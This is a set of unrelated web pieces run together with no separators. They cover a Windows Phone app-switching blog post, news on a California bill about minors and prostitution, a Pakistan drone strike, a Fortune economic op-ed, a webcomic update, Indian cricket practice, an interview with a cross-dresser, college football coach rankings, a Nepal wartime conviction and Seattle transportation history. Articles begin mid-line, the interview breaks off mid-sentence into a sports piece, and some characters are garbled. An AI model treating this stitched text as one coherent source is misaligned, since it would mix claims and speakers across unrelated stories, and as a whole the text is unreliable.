I think it's also a good move to try and nip some of this, "I hate Windows Phone, because I switched and they don't have my app!" talk that's out there. I know at least a few people, personally, who switched to Windows Phone because they loved the look and feel of it, but switched back to their previous platform when they couldn't find the apps they use every day. I spoke with a colleague just the other day, that they didn't want to switch platforms because they didn't want to have to download all their apps, after finding them individually, all over again.
Well, Microsoft is here to help you with that. Thankfully.
The only issue I could see is that Windows Phone has a lot of "alternatives," and not the application that someone may be using on Android. Some folks just don't want the alternative, as they've come to expect the best experience from the "real" or original application. I can relate to this, as there are some applications that I just prefer the experience with the original developer, and not one that simply mimics features, or functionality.
But, again, that's why this new application, that you download directly onto your Android device, is such a big deal. Such a cool idea. Microsoft wants you to be prepared, and if you do make the decision to switch, they want to see you switch comfortably. No hassle, or missing apps now. Just a nice list waiting for you after you switch, ready to be downloaded onto your shiny new Windows Phone.
But will it be enough? That's the real question, right? Or will we see a similar application launch on iOS? Do you think an app like this would help you decide to switch to Microsoft's mobile operating system? Or would it make any difference at all? Let me know what you think.Bill would end criminalizing children for prostitution
Girls gather around in a circle for a team exercise while at the Krier Center, a juvenile detention center where they currently live, in San Antonio, on Friday, July 15, 2016. The girls are part of a special court aimed at helping adolescent girls who end up in the justice system after being sex trafficked. less Girls gather around in a circle for a team exercise while at the Krier Center, a juvenile detention center where they currently live, in San Antonio, on Friday, July 15, 2016. The girls are part of a special... more Photo: BRITTANY GREESON, San Antonio Express-News Photo: BRITTANY GREESON, San Antonio Express-News Image 1 of / 1 Caption Close Bill would end criminalizing children for prostitution 1 / 1 Back to Gallery
SACRAMENTO — California would no longer prosecute minors for prostitution under a bill in the state Legislature, a move law enforcement agencies say would make it more difficult to prosecute pimps.
Supporters of SB1322 say many children caught selling sex are the victims of human traffickers and that prosecuting them for prostitution is not the appropriate or ethical response.
The bill could come up for a vote this week in the Assembly after having already passed the state Senate.
“Under the law, a child who is under the age of 18 can’t consent to sex,” said state Sen. Holly Mitchell, D-Los Angeles, who wrote the bill. “And yet we charge the child victim of commercial sex trafficking with a crime.”
SB1322 passed the Senate 28-10 in June, but faces a tougher vote in the more moderate Assembly, where some Democrats have aligned with law enforcement groups. Under the bill, misdemeanor laws involving solicitation of prostitution and loitering with the intent to commit prostitution would not apply to a those younger than 18.
California dedicates $14 million in funding for counties and child-welfare agencies to provide intervention and prevention programs for sexually exploited minors so that their cases can be handled in juvenile dependency court, not delinquency court. Dependency court focuses on minors who have been abused, neglected or abandoned, while delinquency court is for children charged with crimes.
But, Mitchell said, “Victims are still being prosecuted.”
Law enforcement groups such as the California District Attorneys Association say decriminalizing juvenile prostitution is in neither the public’s nor victims’ interest and could make it more difficult to prosecute pimps because the minors would have no incentive to testify.
“Everyone on both sides of the bill is in agreement that these kids are victims, not criminals. Where we differ is in how much faith we have in the dependency side of the juvenile system to effectively handle this population,” said Sean Hoffman, director of legislation for the district attorneys association. “If they can’t keep a victim in a facility long enough for a provider to reach that child with services, then we undermine the efforts of a number of great community-based organizations that are having tremendous success in servicing victims of human trafficking.”
Hoffman said it’s possible the state will have the resources and infrastructure in five to 10 years, so that decriminalization wouldn’t have a negative impact.
“What we’re hearing from around the state is that we aren’t there yet,” Hoffman said.
The bill is supported by many child-welfare groups that serve a growing population of child sex-trafficking victims.
Kate Walker Brown, an attorney for the National Center for Youth Law, said making the change in California’s law would codify what advocates have been saying for years — there is no such thing as a child prostitute. Instead, children who sell sex are victims of abuse and neglect and need social services.
“Victims of trafficking should not be housed in prison-like settings,” Brown said. “We hear time and time again of the harm that causes. They don’t understand why, if they are the victim, they are in the concrete cell.”
Brown said that instead of arresting a minor for prostitution, officers should call for county child welfare agents and community advocates to meet with the juvenile, a protocol piloted in Los Angeles.
Under the bill, officers could still take the minor into protective custody if they are worried about the child’s immediate safety. This way, Brown said, the minor wouldn’t be saddled with a criminal record.
“It’s hard for them to see themselves as victims,” said Adela Rodarte, assistant program director at WestCoast Children’s Clinic in Oakland, which offers mental health services to sexually exploited youth. “By the time they see us they are so embedded that they don’t realize someone is taking advantage of them. To be arrested for it — it’s punishing them for a crime someone else committed.”
Melody Gutierrez is a San Francisco Chronicle staff writer. Email: mgutierrez@sfchronicle.com Twitter: @MelodyGutierrezPESHAWAR, Pakistan (Reuters) - A U.S. drone strike killed at least 17 people in Pakistan’s restive border region early on Wednesday, Pakistani security officials said, in the biggest such attack this year, and the second since Prime Minister Nawaz Sharif took office.
Most of those killed were fighters for the Haqqani network, according to three Taliban commanders and security officials.
Two missiles hit a house near the main market in Miranshah, the provincial capital of the tribal region of North Waziristan. The region is considered a Taliban stronghold.
Many were wounded in the attack, local tribesman Kaleemullah Dawar said, but rescuers delayed for fear of falling victim to a second attack, a common tactic with drone strikes.
“It was not possible for the people to start rescue work for some time, as the drones were still flying over the area,” Dawar said.
Sharif, who won elections in May, has called for an immediate end to U.S. drone strikes on the grounds that they are a breach of Pakistan’s sovereignty. The U.S. says it is attacking militants in areas the Pakistani army cannot reach.
A drone strike in May killed the Pakistani Taliban’s second-in-command and six others.Is this finally the economic collapse?
FORTUNE -- The Great Depression. Wall Street in 1987. Japan in 1997. Points of economic collapse are generally crystal clear in the rear-view mirror. Professional politicians in Japan have been telling stories for 20 years as to why they can prevent economic stagnation. In the US, the storytelling started in 2007. All the while, stock market and real-estate prices have repeatedly rallied to lower-highs, then collapsed again, to lower-lows.
Despite the many differences between Japan and the US, there is one similarity that continues to matter most in the risk management model my colleagues and I use at Hedgeye, our research firm -- debt as a percentage of GDP. Now that the US can't cut interest rates any lower, the only option left on the table is what the Fed just announced it would start doing -- buying Treasury debt. And that could lead the country to the brink of collapse: According to economists Carmen Reinhart & Ken Rogoff, whose views we share, crossing the 90% debt/GDP threshold is the equivalent of crossing the proverbial Rubicon of economic growth. It's a point from which it's almost impossible to return.
On July 2nd, we cut both our third quarter 2010 and full year 2011 GDP estimates for the US to 1.7%. At the time, the consensus around US economic growth estimates was about 3%. Now we're starting to see both big brokerage analysts and the Federal Reserve gradually cut their GDP estimates, but not by enough. Even our estimate for 2011 is still too high.
Slowing growth, both domestically and in China, is core to our bearish views on both the strength of the US dollar and US equities. There will be a downward bias to our US growth estimates as long as debt-financed-deficit-spending continues to be the solution politicians and central bankers turn to as a fix to our financial crisis.
Markets trade on expectations. Yesterday's zig-zag in the S&P 500 was unlike most sleepy August trading days in America. That's because the 'government is good' crowd leaked word that this second round of "quantitative easing," known as QE2, was coming, and that Ben Bernanke was going to respond to our buy-and-hope begging. (The first round of quantitative easing was the Fed's unprecedented purchase of agency debt to prop up the housing market, along with credit facilities for big banks, which began in 2008 and ended earlier this year.)
To think that we have institutionalized market expectations to this degree is downright frightening. It seems impossible but true that all rallies start and end with rumors about what Fed Chairman Ben Bernanke, a humble looking man of government, had to say at 2:15 PM EST yesterday afternoon, or any other day he makes a statement.
So now what?
With 40.8 million Americans on food stamps (record high) and 45% of the unemployed having been seeking employment for 27 weeks or more (record high), what's left if (or when) QE2 doesn't kick start GDP growth? Should we start begging for QE3? Should we cancel the bomb of the National Association of Realtors' existing home sales report, scheduled for public release on August 24th? Or should we bite the bullet and accept that current economic policy dictates 0% returns-on-savings, even as Washington continues to lever-up our future to the point of economic collapse?
Before the Fiat Fools -- Hedgeye's name for political actors and bankers who have placed their hopes of economic recovery in printing endless supplies of new cash -- run out campaigning for QE3, maybe they should analyze some real time market results to yesterday's announcement of QE2:
1)The US dollar is battling for resuscitation after 9 consecutive down weeks -- down 9% since June.
2) US Treasury yields are making record lows on the short end of the curve, with 2-year yields striking 0.49%.
3) The yield spread (in this case the difference in return between 10-year and 2-year Treasury bills, which shows a long-term confidence when high) continues to collapse, down another 4 basis point day-over-day to 223 basis points.
4) The S&P 500 is down below its 200-day moving average (a common signpost for the health of a market or stock) of 1115.
5) US Volatility (VIX) is spiking from its recent stability.
6) In Japan, long time quantitative easing specialists found their markets closing down overnight by 2.7%, which makes them down 11.9% for the year to date.
Lest our doom and gloom seem built entirely on technical measurements, what they boil down to is actually quite simple -- an idea about our country which dates back to 1835. Alexis De Tocqueville, author of Democracy in America, which was published that year, seemed to warn of this day when he wrote: "The American Republic will endure until the day Congress discovers that it can bribe the public with the public's money."
-- Keith R. McCullough is CEO of Hedgeye, a research firm based in New Haven, Conn.RIGHT so here’s what’s going on
RIGHT so here’s what’s going on. It’s simple really, and pretty much goes without saying: there’s just been no time for me to focus on making aLp. Believe me, I’ve been trying to make some time, figuring I could at least crank out a new comic here and there for the sake of updating. That’s why I go so long without even an explanation – cuz I keep thinking I’m gonna update on a given week… but then that week flies by, and then the next, then the next, and suddenly it’s been months without a peep and then some of you guys start spreading rumors that I’ve died.
So it’s weird and backwards but basically I disappear for so long cuz I AM thinking about making new comics, not because I’m not. I just don’t wanna keep giving you empty promises, so I just end up sayin’ zip. The big problem is I’m shit at planning out what I’m gonna be able to accomplish in a given time period; it’s hard for me to give y’all meaningful info when I don’t even have it myself.
Anyway, I know what to say right now. I’m still gonna be too busy for the next few months to do new comics regularly, but I WILL try to do SOME. I’m just not gonna give you any false hope of some crazy renaissance from me in the near future. aLp continues to live on, sporadically. Hook yourself up to my Twitter, Facebook page, RSS, and email list, and you’ll get any new comics and blog updates from me, honest injun! That’s racist.
For what it’s worth, I do have a good reason to stay in the comics game, at the very least. The big (secret, ooh) thing that’s keeping me so flippin busy is indeed comics-related. You’ll hear all about it within the next few months. So, there’s that.
As always, THANK YOU, godammit, THANK YOU for caring. It’s EASY to have loyal fans when you’re Jeph Fuckin’ Jacques and you know, you update every day with awesome comics and live-streamed drawing sessions… but when you post 3 comics a year and disappear for months at a time like me, and still have fans as dedicated as you guys? That’s… that’s weird, you guys should get some help.Adelaide, Fri, Feb 13 2015
The Indian cricket team have devised some unique ways of training for ICC events in recent times and they are employing one such method in their build-up for the ICC Cricket World Cup 2015. They are tying out a 'two-bench' theory to counter the pace and bounce of Pakistani bowlers in their World Cup opener. The idea behind the innovation is to get well-equipped to counter the threat that 7-feet-tall Pakistani paceman Mohammed Irfan could pose.
During the last World T20 in Bangladesh, Indian bowlers were seen bowling to a 10-feet tall batting mannequin to develop their skills in channel bowling. This time the batsmen devised a unique throwdown session using two small benches.
After Virat Kohli practised at the main nets, he went to the corner of the St Peter's Main Oval ground to get some throwdowns from the team's specialist Raghavendra. The throwdown expert was told to bowl one short, which Kohli would move back and pull effortlessly. It was followed by a fuller throwdown in order to counter the pitched-up delivery.
Once he had taken sufficient throwdowns, Kohli, and later Ajinkya Rahane, went to the adjacent net where two small benches of around 20 inches in height were kept side by side. Assistant coach Sanjay Bangar stood on one of the benches with the throwdown equipment and then stepped on the other to throw balls from a good height.
The logic behind such a practice method was to get an idea of the steep bounce that Irfan could generate from just short of good length. Bangar, standing on the bench, sent down deliveries from a height of 10 feet, a feet more than the height from which Irfan is expected to deliver.
It was Kohli, who spent maximum time at the nets and batted more than an hour in the two nets put together. Both Duncan Fletcher and team director Ravi Shastri kept a close eye as Kohli batted.
The Indian team's practice session was segregated into specific areas that players concentrated on. Skipper Mahendra Singh Dhoni arrived an hour into the session as he had taken a morning flight from Melbourne to reach Adelaide. Dhoni batted mostly against slow bowlers like R Ashwin, Axar Patel, Ravindra Jadeja and some young boys from the South Australian High Performance Centre.
The fielding session under R Sridhar also had its own unique touch to it. Sridhar made the trio of Ashwin, Mohammed Shami and Stuart Binny throw from the deep. The idea was to judge how quickly they reached the ball while the fielding coach also worked on perfecting their pick-up and throw. "I want to see the power guys," Sridhar shouted as Shami ran for the ball.
Later Sridhar had a 'position specific session' with Suresh Raina and Shikhar Dhawan. Raina is expected to field at either point or cover point. Accordingly, an imaginary fielding set-up was done with Sridhar playing the cut shot - either square cut or back cut and Raina was diving on both sides to stop the balls. The same drill was repeated for Dhawan.This is the second part of an interview I did with Brian who is a cross-dresser and uses Alyssa as his femme name. Brian is happily married with two young children. He and his wife, Tami, are raising their children to have an open mind toward the LGBT communities, as they have discussions with their children about these groups.
Brian/Alyssa and Tami are the new face for the cross-dressing community, which is part of the transgender community and originally defined an umbrella term for a number of gender identifying groups, but the word is quickly being used for the transsexuals, so it is becoming confusing for those not involved with these groups.
Here is the final segment of the interview I had with Brian/Alyssa:
How has your cross-dressing impacted your marriage? What are the rewards and challenges?
With the discussion we had prior to marriage and the full disclosure, I avoided having cross-dressing being a huge impact on my marriage, which was a major part of my plan when I told her. I think the horror stories I have heard or read about being discovered as a cross-dresser after being married gave me the idea that I did not want to be part of that statistic of another marriage dissolved by cross-dressing.
The rewards have been great. With her knowing, I can talk about it openly and leave my female clothes out or in the closet, without having to hide it. My wife’s wardrobe has increased substantially as she can fit in most of my dresses and tops and most of all, she gives me the understanding on how difficult it can be dressing as a woman, such as deciding what to wear, make-up, hair, etc. I think my biggest challenge is closet space. Alyssa’s wardrobe is about 3 times the size of my male wardrobe considering I only dress as Alyssa 2-3 times a week.
For my wife, I think the challenge for her is the future/unknown. It sometimes bothers her not knowing how far I will go. I get a lot of questions from people about being Alyssa full-time. I enjoy being a guy and a girl. Can I change my mind? Of course, that’s why it’s a challenge (and possible fear) for her.
Are you at peace with your cross-dressing?
I think I am, at least for now. That question I get or the thought ends up in my mind every once and awhile about being Alyssa full time. It does weigh on me a little bit, but who knows what the future may hold for me. For the time being, I’m happy where I am at.
If you could cross-dress full time and be accepted, would you?
If I can be Alyssa tomorrow and be instantly accepted by everyone I run into with no hesitation on who I am, then yes I think I would.
You speak at the university about being a cross-dresser, what do you tell your students and what has been their response?
I typically give a brief background on how I started dressing and where it led me to this day. Most of the panels I speak at the colleges and universities leave it up to the students to ask questions on subjects they want to hear. It can be general questions about shoe size or clothing to more intimate questions, such as sexual encounters and surgeries that may be involved in becoming a woman. We as a panel are open to all sorts of questions which I know many students want to hear answers that the media or text books DON’T cover.
What is your stance on the transgender and cross-dressing community using the woman’s bathroom?
I am a huge advocate of teaching other transgender girls to use the bathroom of the gender you present. If you are dressed as a woman, then use the women’s bathroom. Many people who are against transgender women using the bathroom tend to make a deal about transgender girls being perverts and peering into other people stalls. We just want to go to the bathroom without being harassed, just like all the other women.
You think we are safe to dress the way we are and use the men’s bathroom? What do you think? A male dressed as a female going to the women’s bathroom minding her own business doing her business seems to be a better option than a male dressed as a female going into the men’s bathroom and possibly getting assaulted? Which do you think would be the wiser choice for girls in my community? Things have changed a lot now that OSHA has come out with guidelines on this. I think it will make companies feel more comfortable dealing the question of how to handle the growing transgender populations and bathroom access.
What is your hope for the cross-dressing community in terms of coming out and being accepted by society?
My hope is that people are able to accept cross-dressers, like other people in the transgender community. We are people, too, and most with normal lives. I think I explained it simply when I told my mother. She is |
-year stint at Temple, which produced the programâs first bowl victory since 1979 and a 9-4 mark in 2011. With the departure of a handful of key players on both sides of the ball, along with the transition to the Big East, Temple took a step back in the win column in 2012. Before his two-year stint with the Owls, Addazio was an assistant at Florida from 2005-10. He also served as an assistant with Syracuse, Notre Dame and Indiana before coming to Gainesville, and was highly regarded for his work on the high school level in Connecticut from 1988-94. Addazio is a good recruiter and as a native of Connecticut, is a good fit in the Northeast. Boston College doesnât have to be an ACC title contender in every season for Addazio to be successful. But the Eagles need to get back to contending for bowl games in the near future. Addazio looks like a good hire for Boston College, but the lack of head coaching experience and building a program keeps him from being ranked higher in the ACC coach rankings.
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14. Scott Shafer, Syracuse
Record at Syracuse: 0-0 (First Season)
Doug Marrone left Syracuseâs football program in much better shape than what he inherited in 2009. When Marrone was hired as the head coach for the Buffalo Bills in early January, Syracuse decided to stay in house and promote Shafer to the top spot. Shafer has never been a head coach before, so thereâs plenty of uncertainty surrounding his ability to lead a program. Combine the coaching change, the loss of some key personnel and the shift to the ACC from the Big East, and Syracuse is clearly a program in transition. However, promoting Shafer to replace Marrone makes a lot of sense for the Orange, especially since the timing of Marroneâs departure wasnât ideal for hiring a new head coach. Shafer has served as an assistant in the college ranks since 1991, making stops at Indiana, Northern Illinois, Ilinois, Western Michigan, Stanford and Michigan. He has been a defensive coordinator for five different programs, including the last four years at Syracuse. Shafer was nominated for the 2006 Broyles Award for the nationâs top assistant coach and his '10 defense at Syracuse ranked seventh nationally in yards allowed. Shafer was a popular hire among the players, but he still has much to prove as a head coach in 2013.
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by Braden Gall (@BradenGall) and Steven Lassan (@AthlonSteven)
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College Football's Top 10 Players on the Rise for 2013Image caption Dewi Sunuwar fears the convictions may be "limited to paper"
A Nepal court has sentenced three former soldiers to 20 years in jail for killing a teenage girl during the decade-long Maoist insurgency.
Maina Sunuwar, 15, was tortured and killed in an army base in 2004 in a case that came to symbolise the horror of wartime abuse.
It is the first time troops have been convicted over the 1995-2006 conflict.
The three men were not present in court and rights groups fear they may not serve their sentences.
"I'm glad the court has understood our plight. But our fight is not over. I'm worried the decision might be limited to paper. The state must implement the court's decision," Maina's mother Devi Sunuwar told AFP news agency.
The three soldiers - Amit Pun, Sunil Adhikari and Boby Khatri - had been convicted by a court martial in 2005 which jailed them for six months and issued them with fines for negligence and not disposing of Maina's body correctly.
Pun and Adhikari resigned from the army after the court martial and Khatri, their commander at the time, retired after missing out on promotion in 2009.
The court in Kavre acquitted a fourth soldier of higher rank, Niranjan Basnet, saying he had only been involved in Maina's arrest and not her killing.
"We're happy at the conviction. But we don't want to see any institution protecting criminals. They are now convicted criminals. The army should respect the decision of the court and hand them over to the courts as per the law," Mandira Sharma from the Advocacy Forum, an NGO that brought the case before the court, told the BBC.
Maina was arrested at her home in Kharelthok village in central Nepal and then interrogated for suspected links to Maoist rebels by soldiers who were looking for her mother.
Image copyright Getty Images Image caption Maoist rebels waged a decade-long insurgency in which 17,000 died
She was subjected to water torture and electrocution before being killed.
The Nepali army has not commented on the verdicts, which can be challenged in higher courts.
More than 17,000 people were killed during the civil war, which ended with a peace deal between the Maoist insurgents and government forces.
Both sides are accused of human rights abuses but rights groups say little has been done to hold perpetrators to account and many of those accused continue to hold high-ranking government and military positions.
This is only the second conviction ever for crimes during the civil war.
In 2014, five former Maoist rebels were jailed for two years for torturing and killing a journalist, a sentence that was criticised for being too lenient.
Police have not yet carried out a Supreme Court order to arrest a Maoist leader for a conflict-era murder.
The army and the former rebels say conflict-era cases should be investigated by a truth and reconciliation commission formed in 2015 instead of being settled through the regular courts.
The commission has collected more than 58,000 complaints from conflict victims. But BBC Nepali's Phanindra Dahal says feuding between members, a lack of political support and the absence of clear legal provisions mean it has made little headway.Transportation in Seattle is largely focused on the automobile much like many other cities in western North America; however Seattle is just old enough that its layout reflects the age when railways and trolleys predominated.[not verified in body] These older modes of transportation were made for a relatively well-defined downtown area and strong neighborhoods at the end of several former streetcar lines, now mostly bus lines.
Because of the isthmus-like geography of Seattle and the concentration of jobs within the city,[not verified in body] much of the transportation movement in the Seattle metropolitan area is through the city proper. North-south transportation is highly dependent on the Interstate 5 corridor, which connects the Puget Sound area with southwest Washington cities, the Portland metropolitan area, and cities to the north such as Bellingham and Vancouver, Canada. I-5 continues as British Columbia Highway 99 at the US-Canada border's Peace Arch crossing, between Blaine and Surrey. State Route 99 is also a major arterial in the western half of the city and includes the Alaskan Way Viaduct along the Seattle waterfront. Because of seismic instability, the Alaskan Way Viaduct replacement tunnel was opened in place of the elevated viaduct in February 2019.
Transportation to and from the east is via State Route 520's Evergreen Point Floating Bridge and Interstate 90's Lacey V. Murrow Memorial Bridge and Third Lake Washington Bridge, all over Lake Washington. Those bridges are the first, second, and fifth longest floating bridges in the world, respectively. State Route 522 connects Seattle to its northeastern suburbs.
Two public transportation agencies serve Seattle: King County Metro, which operates local and commuter buses within King County, and Sound Transit, which operates commuter rail, light rail, and regional express buses within the greater Puget Sound region. In recent years, as Seattle's population and employment has surged, transit has played an increasingly important role in transportation within the metro area. By 2017, nearly 50% of commuters to downtown Seattle arrived via mass transit.[1]
Unlike most North American cities, water transportation remains important. Washington State Ferries, the largest ferry system in the United States and the third largest in the world, operates a passenger-only ferry from Colman Dock in Downtown to Vashon Island, car ferries from Colman Dock to Bainbridge Island and to Bremerton, and a car ferry from West Seattle to Vashon Island to Southworth. Seattle was once home to the Kalakala, a streamlined art deco-style ferry that plied the waters from the 1930s to the 1960s.[not verified in body]
Seattle contains most of Boeing Field, officially called King County International Airport, but most of the city's airline passengers use Seattle-Tacoma International Airport in the city of SeaTac. Seattle is also served by three Amtrak routes at King Street Station: the Cascades, the Coast Starlight, and the Empire Builder.
History [ edit ]
Horse-drawn streetcar at what is now the corner of Occidental and Yesler, 1884
Even though Seattle is old enough that railways and streetcars once dominated its transportation system, the city is now largely dominated by automobiles, but has recently started rebuilding streetcar lines and light rail routes. Seattle is also serviced by an extensive network of bus routes and two commuter rail routes connecting it to many of its suburbs.
Organized land transportation in Seattle dates back at least to 1871; by that date a wagon traveled twice daily from what is now First Avenue (near Elliott Bay) to Lake Washington; the fare was 50 cents, no small sum for that era. In 1880 a two-horse carriage carried passengers and freight from roughly today's Pioneer Square to Belltown every two hours at a fare of 12.5 cents in an open coach or 15 cents in a covered coach. This was shortly followed by similar services connecting out to Lake Union and to Madison Park on Lake Washington.[2]
Water transport was important even within what are now city limits. A steamer connected South Lake Union to Latona (between today's Lower Wallingford and the University District and another steamer crossed Green Lake.
The first street railway, Seattle Street Railway, came in 1884, with horse-drawn cars plying 3.5 miles (5.6 km) of track up today's Second Avenue to Pine Street, then up First Avenue to Battery Street.[2][3] Yesler Way and Jackson Street got their cable cars (from Pioneer Square to Lake Washington) in 1888, allowing public transportation on routes over hills too steep for horses. Electric streetcars appeared in 1889, making Seattle one of the first cities in the United States to adopt this innovation.[4][5]
The Great Seattle Fire did not slow this progress at all: by 1890, there were lines along the waterfront from South Seattle (today's South Park) to Lower Queen Anne and from the center of town to Capitol Hill, Madison Park, and Madrona.[4] These were instrumental in the creation of a relatively well-defined downtown and strong neighborhoods at the end of their lines.
At the turn of the century, the streets were so bad that a boy named Joseph Bufonchio drowned in a sink-hole at the corner of Third and Jackson. As Gordon Newell noted in 1956, contemporary reports did not seem to consider this particularly unusual.[6]
At that time, there were about 25 independent transit lines in Seattle.[citation needed] By 1907, the Seattle Electric Company, owned by Boston-based Stone and Webster, leveraged its foothold in the electric power industry to consolidate these into one operation, known after 1912 as the Puget Sound Traction, Light and Power Company. It cost a nickel to ride. Puget Sound Traction was bought out by the city in 1919 for US$15 million. However, under the city's management the streetcars chronically ran a loss (even after a 1923 fare increase to three rides for a quarter, a fare of 8-and-a-third cents), and the quality of the system deteriorated.[7]
The advent of the automobile sounded the death knell for rail in Seattle. Tacoma–Seattle railway service ended in 1929 and the Everett–Seattle service came to an end in 1939, replaced by automobiles running on the recently developed highway system. When the city received a US$10.2 million federal grant to pay off transit-related debts and modernize its transit system, rails on city streets were paved over or removed, and the opening in 1940 of the Seattle trolleybus system brought the end of streetcar service in Seattle in the early hours of April 12, 1941. This left an extensive network of buses (including 188 miles (303 km) of trolleybus lines) under an independent Municipal Transportation Commission as the only mass transit within the city and throughout the region.[8][9]
The new transit system was jammed and profitable during the gasoline and rubber rationing of World War II, but the automobile reigned supreme after the war. Fares rose to 10 cents,[10] the first of many increases that would lead to a present-day fare of $2.75.[11]
Streets, roads, and automobiles [ edit ]
Seattle set its first speed limit in the 1880s, in the days of horse-drawn vehicles. At that time, traffic in the Pioneer Square neighborhood was limited to 6 miles per hour (10 km/h).[12]
The city is described in a mid-20th-century civics textbook as "a city of islands—islands created both by water and by abrupt valleys that can be traversed only by bridges."[13] Already by 1948, 221,500 vehicles a day crossed the city's bridges across the Lake Washington Ship Canal and Duwamish River; except for the high Aurora Bridge (officially George Washington Memorial Bridge) across the Ship Canal, these were all drawbridges.[14] This was before the construction of the Interstate Highways or State Route 520; the original Lake Washington Floating Bridge (opened 1940) provided the only road out of town to the east; construction of the Alaskan Way Viaduct, the first limited access highway through the city center, was still under way.
Even with the lesser population of that time and fewer major highways, difficulty parking downtown had already become "practically an institution".[15] The total number of vehicles parking downtown in a day would already have filled a parking lot the size of downtown had they all been there at once; naturally, many of these were there only briefly for shopping. Parking meters had been introduced in the early 1940s, and multi-level parking garages provided some relief (and would later provide more), but the impact of the automobile on the city was very apparent. The city was considering various proposals, such as the establishment of large parking lots on the periphery of downtown with shuttle buses into the center. The city was seeking (and failing to get) state permission to use the right of eminent domain to acquire property for multi-level parking lots.[15] Later, in the mid-1960s, the historic Seattle Hotel building was torn down for just this purpose; the reaction against that sparked the preservationist movement for the revival of Pioneer Square, and made it clear that the city would not solve its problem by demolishing a ring around downtown.
Over 15,000 Seattleites are members of the car sharing program Zipcar (formerly Flexcar). While not all members are frequent users, as of September 2004 the use of these shared cars has been substantial enough to justify the purchase of over 150 cars and other light vehicles for the program, with an additional vehicle purchased approximately every ten days.[citation needed] Two other car sharing services, Car2Go and ReachNow, operate within Seattle.
Alaskan Way Viaduct [ edit ]
Alaskan Way Viaduct
The Alaskan Way Viaduct, completed on April 4, 1953, is an elevated section of State Route 99 that runs along the Elliott Bay waterfront in Seattle's Industrial District and downtown Seattle. It is the smaller of the two major north-south traffic corridors through Seattle, carrying up to 110,000 vehicles per day.[16] The viaduct runs above the surface street, Alaskan Way, from S. Nevada Street in the south to the entrance of Belltown's Battery Street Tunnel in the north, following previously existing railroad lines.
The 2001 Nisqually earthquake damaged the viaduct and its supporting Alaskan Way Seawall and required the Washington State Department of Transportation (WSDOT) to invest US$3.5 million in emergency repairs. Experts give a 1-in-20 chance that the viaduct could be shut down by an earthquake within the next decade.[16] Since the Nisqually earthquake occurred, semi-annual inspections have discovered continuing settlement damage.
Whether to remove, replace, or rebuild the viaduct is a politically charged issue. On March 13, 2007, voters in the city of Seattle rejected two separate proposals to replace the viaduct.[17] Eventually a plan was approved to replace the viaduct with a tunnel, with work occurring from 2011 to 2016 at an estimated cost of US$3.1 billion.[18]
Freeways in the metropolitan region [ edit ]
There are 21 different freeways and highways the make up the Seattle freeway system. They are: Interstate 5, Interstate 405, Interstate 90, Interstate 705, US 2, SR 3, SR 16, SR 18, the Alaskan Way Viaduct/SR 99, SR 167, SR 303/Waaga Way, SR 410, SR 509, SR 512, SR 518, SR 520, SR 525, SR 526, SR 599, the Port of Seattle owned Airport Expressway, and the City of Seattle owned West Seattle Freeway. Interstate 5 is the major North-South route through the region. Interstate 5 is four or five lanes for most of its way through the metro area. The freeway connects the metro area to California, Oregon, and British Columbia.
The freeway system uses ramp meters to help keep traffic moving. WSDOT uses variable message signs to let travelers know if there is an accident, to tell drivers how long their drive will be to certain areas, and for Amber Alerts. Recently, WSDOT installed variable speed signs along SR 520 and I-90 between I-5 and I-405, and along I-5 between the West Seattle Freeway and SR 520. There are also HOV lanes to move buses and carpools faster on many freeways and arterials. The HOV lanes on I-405 allow general purpose traffic to use them after 7pm (till about 5am), and the lanes on SR 167 are actually HOT lanes (carpools may use the lanes free; solo drivers can use the lanes for a variable fee). There are 225 lane miles of HOV lanes built and another 100 unbuilt. Freeway improvements are paid for by two gas taxes, 2003 Gas Tax and 2005 Gas Tax.
This is Seattle's largest and widest freeway. Traffic back-ups going into Seattle from the north and south are very common during the morning and evening rush hours.
The freeway runs just east of Downtown Tacoma as it goes through the metro area. After going through Federal Way and the west side of Kent it passes by a major shopping mall, Southcenter in Tukwila, where it connects with the south terminus of Interstate 405. Then the freeway continues and passes by SeaTac International Airport in the inner southern suburbs of Seattle and passes very close to Boeing Field (also known as King County International Airport). As the freeway heads towards Downtown Seattle, reversible lanes, or express lanes, branch off the mainline and continue north through the city. The express lanes carry southbound traffic in the morning and northbound traffic in the afternoon. The Express Lanes merge with the main line in the Northgate area of North Seattle. After that, I-5 continues north through the cities of Shoreline, Mountlake Terrace, and Lynnwood. In Lynnwood it merges with Interstate 405 again. It continues north to the last large city in Seattle Metro area, Everett. It was built in South Tacoma between 1955 and 1957, North Tacoma to Kent between 1959 and 1961, between Kent and downtown Seattle in 1966, from downtown Seattle to Roanoke Street in 1964, from Roanoke Street to Lake City Way/SR 522 in 1960, and north of there to Everett in 1964.
This freeway goes east out of Seattle, eventually terminating in Boston. The freeway was originally built in 1940 from Rainier Avenue to Issaquah. It passes through the Eastside's largest city, Bellevue, and skirts the north side of Factoria Mall in Bellevue, where it interchanges with the north-south Interstate 405. Then the freeway continues east and passes through Issaquah, Snoqualmie, and North Bend before climbing into the Cascade Mountains. The freeway originally consisted of four lanes, and crossed the Lacey V. Murrow Floating Bridge. In the early 1950s, an interchange was built at Rainier Avenue and the highway extended 1 mile closer to Seattle's city centre along "Corwin Place". In the early 1960s, traffic congestion forced the Department of Highways to institute a tidal flow system, in which three lanes, controlled by overhead signals went into Seattle in the morning, and the toward Bellevue in the afternoon. In 1968, improvements to the east of Mercer Island were made; the highway was widened to up to 6 lanes in each direction and the interchange with I-405 was upgraded from a cloverleaf to a fully directional interchange. Litigation kept the 7-mile section between Bellevue and Interstate 5 from being upgraded until the 1980s, at which time a new bridge from the Eastside to Mercer Island was built and the dangerous "bulge" was removed from the Lacey V. Murrow Floating Bridge. In 1990, the renovations/widening of the freeway were completed, including the new Homer M. Hadley Memorial Bridge over Lake Washington to carry westbound traffic and the HOV/reversible lanes, or express lanes, from Bellevue to Seattle, with general-purpose traffic allowed to use the reversible lanes in between Mercer Island and Seattle. The express lanes carry westbound traffic in the morning and eastbound traffic in the afternoon. Further improvements are now being made to put HOV lanes in both outer roadways to ready the center roadway for Sound Transit's Link light rail.
Interstate 405 begins in Tukwila at I-5, SR 518, and Westfield Southcenter, and continues east through Renton and then turns north and runs through Bellevue, Kirkland, and Bothell, before turning northwest and crossing I-5 in Lynnwood (near Alderwood Mall), where it becomes SR 525, a freeway for its first few miles. I-405 was built in stages between 1955 and 1968, with a major upgrade north of Bellevue to Bothell in 1972. HOV lanes were added in the 1980s and 1990s, the interchange between I-405 and SR 520 was upgraded in the early 1990s, and new ramps have been added in downtown Bellevue in recent years to supplement the original interchange at NE 8th Street.
